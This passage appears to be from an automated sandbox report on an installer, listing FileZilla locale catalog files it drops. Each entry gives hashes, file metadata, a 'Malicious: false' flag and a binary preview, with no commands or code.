Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................d.......b...<...7.......%.......@.......>...>...M...}...(.......;.......J...0...J...{...J.......r.......9.......m.......f...,...I.......7......./...........E.......X.......u...................7..........................@.../...T...-.......?.......2.......C...%...z...i... .......:.......)...@...J...j...@.......@.......2...7...$...j...(.......$...............-.......6...

C:\Program Files (x86)\Fzilla\locales\id_ID\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1851 messages, Project-Id-Version: id_ID '%H:%M:%S terlewati'
Category:	dropped
Size (bytes):	171512
Entropy (8bit):	5.142886215672199
Encrypted:	false
SSDEEP:	3072:tzGRFYaqVUrSsqmfYTmCF5XTs7k1wdcFtMvrm5+XPxgi:poFfqVi7YaCF5XTsI0gMvrmmPmi
MD5:	1283645BD04DD46DA2AFBE5D771ED446
SHA1:	F8A84852859E2F239D072DE5DD5F131390253491
SHA-256:	A63FF37F27724EF31A04BC3E2692E255FE6233E406EDA955BD644D9A9D7FB2ED
SHA-512:	9687A385362111E69F6EF5566EED0B098A82845519D52DCF626548A3F4FCEC423CF1099CEB2239F9037A9E96E31F9094D2DCE757C262E9D0544DEE0C44AC1FA1
Malicious:	false
Preview:	........;........9.......s.......s.......s.......s..S....s......@t..A...\t.......t..0....t..B....t......#u......8u......Bu......bu......wu.......u.......u.......u.......u.......u.."....u.......u.......v.......v..+....v......*w......8w......Lw..5..._w.......w.......w.......w.......w.......w.......w.......w.......w.......x.......x......$x..K...Dx..0....x..2....x..2....x......'y..0...By......sy..6....y.......y.......y.......y.......y..;....y......+z......6z......>z......Iz......[z......rz.......z.......z.......z.......z.......z.......z..+....z.......{......({......:{......J{.."...Q{......t{.......{..%....{.......{.......{.......{.. ....{.......\|..H...$\|..I...m\|..4....\|.......\|..:....\|......3}......J}......S}..4...r}..$....}.......}.......}.......}.......~.......~.......~......'~......-~......C~......K~......_~......t~.......~.......~.......~.......~.......~.......~.......~.......~......................&.......:.......H.......Q.......[...%...k...O.......R.......1...4...0...f...............

C:\Program Files (x86)\Fzilla\locales\id_ID\is-5I49D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: id_ID 'Sebuah sertifikat dalam rangkaian ditandatangani menggunakan algoritma yang tidak aman'
Category:	dropped
Size (bytes):	7526
Entropy (8bit):	4.9619687757729745
Encrypted:	false
SSDEEP:	192:dclXcpF0ZpJqe790vMm3dkGl+LoDlT2N1:EsMvB9Ek2HlS1
MD5:	52D40E3C52EFC12CE4FBF75D061477AC
SHA1:	BBDB7B182D54B6C93E258394287B8C0508834D6D
SHA-256:	B01DE1679EF41B55E5014AB71E2771252BA87AF820ADEC288BF3F0417F88975D
SHA-512:	9D9158CAB88E7CB30FB2B86CFB91DDAF06ECD298B7511B979F8D948CE6C6FFD14E1E512B6A7E5F4F8412B097524E0C4605A0FC1ABDAE55833A77FB21227F22E4
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................V...w...A...................)...&...A...)...h...B.......'...........................!.......=.......[...I...u...........Z.......S...:...'.......#.......%...........................0.......P.......h...........#.......#....... ...........................+.......K.......d...:...x...N...............2...........R...8...a...0...........................

C:\Program Files (x86)\Fzilla\locales\id_ID\is-VC7C3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1851 messages, Project-Id-Version: id_ID '%H:%M:%S terlewati'
Category:	dropped
Size (bytes):	171512
Entropy (8bit):	5.142886215672199
Encrypted:	false
SSDEEP:	3072:tzGRFYaqVUrSsqmfYTmCF5XTs7k1wdcFtMvrm5+XPxgi:poFfqVi7YaCF5XTsI0gMvrmmPmi
MD5:	1283645BD04DD46DA2AFBE5D771ED446
SHA1:	F8A84852859E2F239D072DE5DD5F131390253491
SHA-256:	A63FF37F27724EF31A04BC3E2692E255FE6233E406EDA955BD644D9A9D7FB2ED
SHA-512:	9687A385362111E69F6EF5566EED0B098A82845519D52DCF626548A3F4FCEC423CF1099CEB2239F9037A9E96E31F9094D2DCE757C262E9D0544DEE0C44AC1FA1
Malicious:	false
Preview:	........;........9.......s.......s.......s.......s..S....s......@t..A...\t.......t..0....t..B....t......#u......8u......Bu......bu......wu.......u.......u.......u.......u.......u.."....u.......u.......v.......v..+....v......*w......8w......Lw..5..._w.......w.......w.......w.......w.......w.......w.......w.......w.......x.......x......$x..K...Dx..0....x..2....x..2....x......'y..0...By......sy..6....y.......y.......y.......y.......y..;....y......+z......6z......>z......Iz......[z......rz.......z.......z.......z.......z.......z.......z..+....z.......{......({......:{......J{.."...Q{......t{.......{..%....{.......{.......{.......{.. ....{.......\|..H...$\|..I...m\|..4....\|.......\|..:....\|......3}......J}......S}..4...r}..$....}.......}.......}.......}.......~.......~.......~......'~......-~......C~......K~......_~......t~.......~.......~.......~.......~.......~.......~.......~.......~......................&.......:.......H.......Q.......[...%...k...O.......R.......1...4...0...f...............

C:\Program Files (x86)\Fzilla\locales\id_ID\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: id_ID 'Sebuah sertifikat dalam rangkaian ditandatangani menggunakan algoritma yang tidak aman'
Category:	dropped
Size (bytes):	7526
Entropy (8bit):	4.9619687757729745
Encrypted:	false
SSDEEP:	192:dclXcpF0ZpJqe790vMm3dkGl+LoDlT2N1:EsMvB9Ek2HlS1
MD5:	52D40E3C52EFC12CE4FBF75D061477AC
SHA1:	BBDB7B182D54B6C93E258394287B8C0508834D6D
SHA-256:	B01DE1679EF41B55E5014AB71E2771252BA87AF820ADEC288BF3F0417F88975D
SHA-512:	9D9158CAB88E7CB30FB2B86CFB91DDAF06ECD298B7511B979F8D948CE6C6FFD14E1E512B6A7E5F4F8412B097524E0C4605A0FC1ABDAE55833A77FB21227F22E4
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................V...w...A...................)...&...A...)...h...B.......'...........................!.......=.......[...I...u...........Z.......S...:...'.......#.......%...........................0.......P.......h...........#.......#....... ...........................+.......K.......d...:...x...N...............2...........R...8...a...0...........................

C:\Program Files (x86)\Fzilla\locales\is\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 678 messages, Project-Id-Version: is '%H:%M:%S li\303\260nar'
Category:	dropped
Size (bytes):	38942
Entropy (8bit):	5.314830106377919
Encrypted:	false
SSDEEP:	768:Qly33kbSNs25iufkEcJ77U/3fu4FZbX9o0qYVPvzam6o:Ay33Xs2MufG97Y3LZRoiVPT6o
MD5:	38C648C0BEF0B49830B7AEF80BA7C7E6
SHA1:	75D4AC51E02936EB059F5E64C2EA8DC3949F607A
SHA-256:	0B7F0CD4903979E21B4A29BB06A221D96343B393E19814DCF0EEAEDB704C7B7C
SHA-512:	3FE30219FADB4D367713C238779F9CABEDACA64D9C401508DCACA2FB3BA31F2FB95E33E1DD527C37AFEE4690EBA95348CE5A4E514853185ED01F13793B1B0722
Malicious:	false
Preview:	................L.......\|......\|......}................A.............0....+..B...<+.......+.......+.......+.......+.......+.......+.."....+.......,.......,......%,......3,......G,......Q,......[,......c,......t,.......,.......,.......,.......,..;....,.......,.......,.......-.......-......-......E-......S-..+...\-.......-.......-.......-.......-.......-.......-..%....-..............".......2.......H...:...T......................................................../......./......./......1/......9/......N/......Y/......f/......./......./......./......./......./......./......./......./.......0.......0......"0..%...,0......R0......c0......t0.......0.......0.......0.......0.......0.......0.......1......'1..)...21......\1......r1.......1.......1.......1.......1.......1.......1.......1.. ....1.......2.......2......72......?2......C2......I2......Q2......a2......e2......k2......q2......\|2.......2.......2.......2..)....2.......2.......2.......2.......2.......2.......3.......3......!3......

C:\Program Files (x86)\Fzilla\locales\is\is-1J4F6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4 messages, Project-Id-Version: is 'Ekki n\303\246st samband vi\303\260 neti\303\260'
Category:	dropped
Size (bytes):	712
Entropy (8bit):	5.32647311364711
Encrypted:	false
SSDEEP:	12:ixdt9ZXZLL9aF5x1t02vtRQC/2/lJjusXmBQWiOWVYi4TJNiKNWksL1mUhvRl:8hL05Dt0qtyV7RXmGyi4TJdNWPRVD
MD5:	8CA844D6DF53D01EEF26691C1CC4DD59
SHA1:	A85E9990C2B7FA5AF1AFAF1FB85229F4484C9055
SHA-256:	DD26168A6FB66F52FB6BB3CDA1708A4AD76D9843FE107363C3DA2BB028D3446F
SHA-512:	0636EA648DAE0003017273A23570A0169C687F25AB21B00EB7F7462C7F62F72C8C04E483D1A00906CB97A1AF356A9410CBA760801F941F52117383956FB8861B
Malicious:	false
Preview:	................<.......\.......\.......]...5...q.......................n...1................Network unreachable.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: is.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2011-01-20 13:20+0000.Last-Translator: Sveinn . Felli <sveinki@nett.is>.Language-Team: icelandic <openoffice@openoffice.is>.Language: is.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Generator: KBabel 1.11.4.X-Poedit-Basepath: C:\dev\FileZilla\Translations..Ekki n.st samband vi. neti..gnutls_certificate_get_peers fann engin skilr.ki...ekkt.

C:\Program Files (x86)\Fzilla\locales\is\is-4GMO5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 678 messages, Project-Id-Version: is '%H:%M:%S li\303\260nar'
Category:	dropped
Size (bytes):	38942
Entropy (8bit):	5.314830106377919
Encrypted:	false
SSDEEP:	768:Qly33kbSNs25iufkEcJ77U/3fu4FZbX9o0qYVPvzam6o:Ay33Xs2MufG97Y3LZRoiVPT6o
MD5:	38C648C0BEF0B49830B7AEF80BA7C7E6
SHA1:	75D4AC51E02936EB059F5E64C2EA8DC3949F607A
SHA-256:	0B7F0CD4903979E21B4A29BB06A221D96343B393E19814DCF0EEAEDB704C7B7C
SHA-512:	3FE30219FADB4D367713C238779F9CABEDACA64D9C401508DCACA2FB3BA31F2FB95E33E1DD527C37AFEE4690EBA95348CE5A4E514853185ED01F13793B1B0722
Malicious:	false
Preview:	................L.......\|......\|......}................A.............0....+..B...<+.......+.......+.......+.......+.......+.......+.."....+.......,.......,......%,......3,......G,......Q,......[,......c,......t,.......,.......,.......,.......,..;....,.......,.......,.......-.......-......-......E-......S-..+...\-.......-.......-.......-.......-.......-.......-..%....-..............".......2.......H...:...T......................................................../......./......./......1/......9/......N/......Y/......f/......./......./......./......./......./......./......./......./.......0.......0......"0..%...,0......R0......c0......t0.......0.......0.......0.......0.......0.......0.......1......'1..)...21......\1......r1.......1.......1.......1.......1.......1.......1.......1.. ....1.......2.......2......72......?2......C2......I2......Q2......a2......e2......k2......q2......\|2.......2.......2.......2..)....2.......2.......2.......2.......2.......2.......3.......3......!3......

C:\Program Files (x86)\Fzilla\locales\is\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4 messages, Project-Id-Version: is 'Ekki n\303\246st samband vi\303\260 neti\303\260'
Category:	dropped
Size (bytes):	712
Entropy (8bit):	5.32647311364711
Encrypted:	false
SSDEEP:	12:ixdt9ZXZLL9aF5x1t02vtRQC/2/lJjusXmBQWiOWVYi4TJNiKNWksL1mUhvRl:8hL05Dt0qtyV7RXmGyi4TJdNWPRVD
MD5:	8CA844D6DF53D01EEF26691C1CC4DD59
SHA1:	A85E9990C2B7FA5AF1AFAF1FB85229F4484C9055
SHA-256:	DD26168A6FB66F52FB6BB3CDA1708A4AD76D9843FE107363C3DA2BB028D3446F
SHA-512:	0636EA648DAE0003017273A23570A0169C687F25AB21B00EB7F7462C7F62F72C8C04E483D1A00906CB97A1AF356A9410CBA760801F941F52117383956FB8861B
Malicious:	false
Preview:	................<.......\.......\.......]...5...q.......................n...1................Network unreachable.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: is.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2011-01-20 13:20+0000.Last-Translator: Sveinn . Felli <sveinki@nett.is>.Language-Team: icelandic <openoffice@openoffice.is>.Language: is.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Generator: KBabel 1.11.4.X-Poedit-Basepath: C:\dev\FileZilla\Translations..Ekki n.st samband vi. neti..gnutls_certificate_get_peers fann engin skilr.ki...ekkt.

C:\Program Files (x86)\Fzilla\locales\it\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla italian translation v. 30.06.2023 'Trascorsi %H:%M:%S'
Category:	dropped
Size (bytes):	177761
Entropy (8bit):	5.087223259494641
Encrypted:	false
SSDEEP:	3072:B5Wm2agqrsJmfmTkCF5XTs7kywoAsGSeakXjqw09fV7w5:BJK0mICF5XTsISAsGSVkXjqw09fV7w5
MD5:	ACA71917E6C8E548A0C0FA5223B30340
SHA1:	A06A495A4774F054E9DDF9418BDDE36269DB3BBA
SHA-256:	EE13F6243B72061B427E5DB9E224AF73CEF3C8E2A2DEDEC08E1E1C1C6B29CB19
SHA-512:	5A27A48691CDC0C015ACD4819B55D7DEF361957E13A66E13161CE4A26BD909FA4764296CF2A81F66CCA7F92BEFDE8F740D43218F7E0EB1491E69E85D7904D7C8
Malicious:	false
Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\it\is-H484I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla italian translation v. 30.06.2023 'Trascorsi %H:%M:%S'
Category:	dropped
Size (bytes):	177761
Entropy (8bit):	5.087223259494641
Encrypted:	false
SSDEEP:	3072:B5Wm2agqrsJmfmTkCF5XTs7kywoAsGSeakXjqw09fV7w5:BJK0mICF5XTsISAsGSVkXjqw09fV7w5
MD5:	ACA71917E6C8E548A0C0FA5223B30340
SHA1:	A06A495A4774F054E9DDF9418BDDE36269DB3BBA
SHA-256:	EE13F6243B72061B427E5DB9E224AF73CEF3C8E2A2DEDEC08E1E1C1C6B29CB19
SHA-512:	5A27A48691CDC0C015ACD4819B55D7DEF361957E13A66E13161CE4A26BD909FA4764296CF2A81F66CCA7F92BEFDE8F740D43218F7E0EB1491E69E85D7904D7C8
Malicious:	false
Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\it\is-QSTQM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: Filezilla italian translation v. 28.04.2019 'Un certificato nella struttura \303\250 stato firmato con un algoritmpo non sicuro'
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	4.952366620150389
Encrypted:	false
SSDEEP:	192:dclJFN0wBL/mtZpJqe790vMm3dQ7Ps1+ePU4n3DyfbmDyuwN:EVJqvB9EQjS+e92l
MD5:	E286C5544F3D9D87AE88ED60C47832D0
SHA1:	7C97098E95F6565F4F8A208AF5EA9141FCA08E7F
SHA-256:	C961206C8E570A356EB08E02F2A9874519E731938D4A2C89528CEB46A8295DA7
SHA-512:	E04372AFC524FA750756B46184A29032E000529DC1B0C90DA401934CCF3EAD0C790FA17ED562714DEDA74454B5E2BA188746BC5849ABDA7B0D813314669F8EF2
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................L.......F...-.......t...........,.......).......F......."...A.......d.......{... .......#.......!.......D......."...E...Y...h...P.......%.......1...9...$...k..........................................................."...,.......O...$...n...........+.......................1.......P...<...........+.......................2...........L.......e.......

C:\Program Files (x86)\Fzilla\locales\it\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: Filezilla italian translation v. 28.04.2019 'Un certificato nella struttura \303\250 stato firmato con un algoritmpo non sicuro'
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	4.952366620150389
Encrypted:	false
SSDEEP:	192:dclJFN0wBL/mtZpJqe790vMm3dQ7Ps1+ePU4n3DyfbmDyuwN:EVJqvB9EQjS+e92l
MD5:	E286C5544F3D9D87AE88ED60C47832D0
SHA1:	7C97098E95F6565F4F8A208AF5EA9141FCA08E7F
SHA-256:	C961206C8E570A356EB08E02F2A9874519E731938D4A2C89528CEB46A8295DA7
SHA-512:	E04372AFC524FA750756B46184A29032E000529DC1B0C90DA401934CCF3EAD0C790FA17ED562714DEDA74454B5E2BA188746BC5849ABDA7B0D813314669F8EF2
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................L.......F...-.......t...........,.......).......F......."...A.......d.......{... .......#.......!.......D......."...E...Y...h...P.......%.......1...9...$...k..........................................................."...,.......O...$...n...........+.......................1.......P...<...........+.......................2...........L.......e.......

C:\Program Files (x86)\Fzilla\locales\ja_JP\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla Client 3.66.0 '%H:%M:%S \347\265\214\351\201\216'
Category:	dropped
Size (bytes):	200329
Entropy (8bit):	5.962040053828061
Encrypted:	false
SSDEEP:	3072:B5Wm2ayTzFzHvisJmfmTkCF5XTs7kyw2kN6XZ53J/rYnqa26ExIv8:BJgPT0mICF5XTsI1aFr3
MD5:	78D36DABEBC04958AD5B67AB5A050222
SHA1:	DF1D18A3EAC50B8D7BCE20B8787FDDDA084FF3A8
SHA-256:	74559A50CA495A9BCB5F4839383E469D65E6289D7658CA85109E31EC56EAFF75
SHA-512:	8D3B77F9448699F525DFC5D8CDA489BC669AB6C9CB116FA624A1CB0ADF52922C9FA817053044FC98A0F43C643540C4C92FEB5C49F68693C5CBC3D8A7420CBBAB
Malicious:	false
Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\ja_JP\is-QR31L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla Client 3.66.0 '%H:%M:%S \347\265\214\351\201\216'
Category:	dropped
Size (bytes):	200329
Entropy (8bit):	5.962040053828061
Encrypted:	false
SSDEEP:	3072:B5Wm2ayTzFzHvisJmfmTkCF5XTs7kyw2kN6XZ53J/rYnqa26ExIv8:BJgPT0mICF5XTsI1aFr3
MD5:	78D36DABEBC04958AD5B67AB5A050222
SHA1:	DF1D18A3EAC50B8D7BCE20B8787FDDDA084FF3A8
SHA-256:	74559A50CA495A9BCB5F4839383E469D65E6289D7658CA85109E31EC56EAFF75
SHA-512:	8D3B77F9448699F525DFC5D8CDA489BC669AB6C9CB116FA624A1CB0ADF52922C9FA817053044FC98A0F43C643540C4C92FEB5C49F68693C5CBC3D8A7420CBBAB
Malicious:	false
Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\ja_JP\is-R00TL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 130 messages, Project-Id-Version: libfilezilla 0.45.0 '\343\203\201\343\202\247\343\203\274\343\203\263\343\201\256\350\250\274\346\230\216\346\233\270\343\201\214\345\256\211\345\205\250\343\201\247\343\201\252\343\201\204\343\202\242\343\203\253\343\202\264\343\203\252\343\202\272\343\203\240\343\201\247\347\275\262\345\220\215\343\201\225\343\202\214\343\201\246\343\201\204\343\201\276\343\201\231'
Category:	dropped
Size (bytes):	14346
Entropy (8bit):	5.852934501935568
Encrypted:	false
SSDEEP:	192:uVZ9GJ7AUiXllHcvrMFqeY9FOMmnDe+Cs4z/O/1h6P7layY4F7fxY:yZ9G/65AIC9iCov6P7QyY4FDxY
MD5:	5541DB371C08D850F0FB634168D97679
SHA1:	FD5E559F2DFE2760BB24597DCE86DE2B1579B37D
SHA-256:	E3A33A10597B2498C5A71676F003902E574A8178E81A7FA51594906F89E1C458
SHA-512:	C38639058815EA36B26EB95A93FC9DD9C1EE644AB76F5F31334A9BB335438CF42AA6D97040120A281ACDB6D6E12F12FD200E89B47146B504778C45D2CA506068
Malicious:	false
Preview:	................,.......<.......<...A...=...A.......................$.......L...........`...&...............>.......)....... ...*...0...K.......\|...................................1...........0...I...J...I.......7.......T.......^...k...........0.......X.......R...o... ............... ...............(...<... ...e...........%...............................(.......!...D.......f..................................."...................................7.......M.......d.......z...............................................................,.......A.......V.......u...........7.......................4.......P...E...........#...............).......(...........2.......I.......g.......}...................................................+.......+...9...+...e...1.......L.......-.......-...>.......l................... ...............0.......G..."...&...j...@.......6.......M.......$...W.......\|...........................,.......#.......%...&...$...L...%...q...'.......n.......?.......7...n...-.......1...

C:\Program Files (x86)\Fzilla\locales\ja_JP\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 130 messages, Project-Id-Version: libfilezilla 0.45.0 '\343\203\201\343\202\247\343\203\274\343\203\263\343\201\256\350\250\274\346\230\216\346\233\270\343\201\214\345\256\211\345\205\250\343\201\247\343\201\252\343\201\204\343\202\242\343\203\253\343\202\264\343\203\252\343\202\272\343\203\240\343\201\247\347\275\262\345\220\215\343\201\225\343\202\214\343\201\246\343\201\204\343\201\276\343\201\231'
Category:	dropped
Size (bytes):	14346
Entropy (8bit):	5.852934501935568
Encrypted:	false
SSDEEP:	192:uVZ9GJ7AUiXllHcvrMFqeY9FOMmnDe+Cs4z/O/1h6P7layY4F7fxY:yZ9G/65AIC9iCov6P7QyY4FDxY
MD5:	5541DB371C08D850F0FB634168D97679
SHA1:	FD5E559F2DFE2760BB24597DCE86DE2B1579B37D
SHA-256:	E3A33A10597B2498C5A71676F003902E574A8178E81A7FA51594906F89E1C458
SHA-512:	C38639058815EA36B26EB95A93FC9DD9C1EE644AB76F5F31334A9BB335438CF42AA6D97040120A281ACDB6D6E12F12FD200E89B47146B504778C45D2CA506068
Malicious:	false
Preview:	................,.......<.......<...A...=...A.......................$.......L...........`...&...............>.......)....... ...*...0...K.......\|...................................1...........0...I...J...I.......7.......T.......^...k...........0.......X.......R...o... ............... ...............(...<... ...e...........%...............................(.......!...D.......f..................................."...................................7.......M.......d.......z...............................................................,.......A.......V.......u...........7.......................4.......P...E...........#...............).......(...........2.......I.......g.......}...................................................+.......+...9...+...e...1.......L.......-.......-...>.......l................... ...............0.......G..."...&...j...@.......6.......M.......$...W.......\|...........................,.......#.......%...&...$...L...%...q...'.......n.......?.......7...n...-.......1...

C:\Program Files (x86)\Fzilla\locales\ka\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 346 messages, Project-Id-Version: FileZilla3 '\341\203\222\341\203\220\341\203\225\341\203\230\341\203\223\341\203\220: %H:%M:%S'
Category:	dropped
Size (bytes):	31273
Entropy (8bit):	4.834963965479984
Encrypted:	false
SSDEEP:	384:Wu1xrYbNs1LW6fnX5mLk7Qm4+AD7YsNLBLy7cUHdTUEmPrSA/ghwBFfH8UI0ma6I:T17VIg7QII
MD5:	28A4D8D37C74052065C1B2DA31258323
SHA1:	AF94C6A4FBB319ADCFADB314844506ACEC2915FF
SHA-256:	FC53721F201C99711F0CBEDDFF0651E53036B904FA11C38AAA0583F74E151325
SHA-512:	04A7A895AE6BE26CCCA3F288FF24FC5FF160548EB4EFE311653EF9D4ABC692FE656530D083756E43B7B96347ECF1AE8A36FF823169C17EB6FDFAAD66E5F10BF8
Malicious:	false
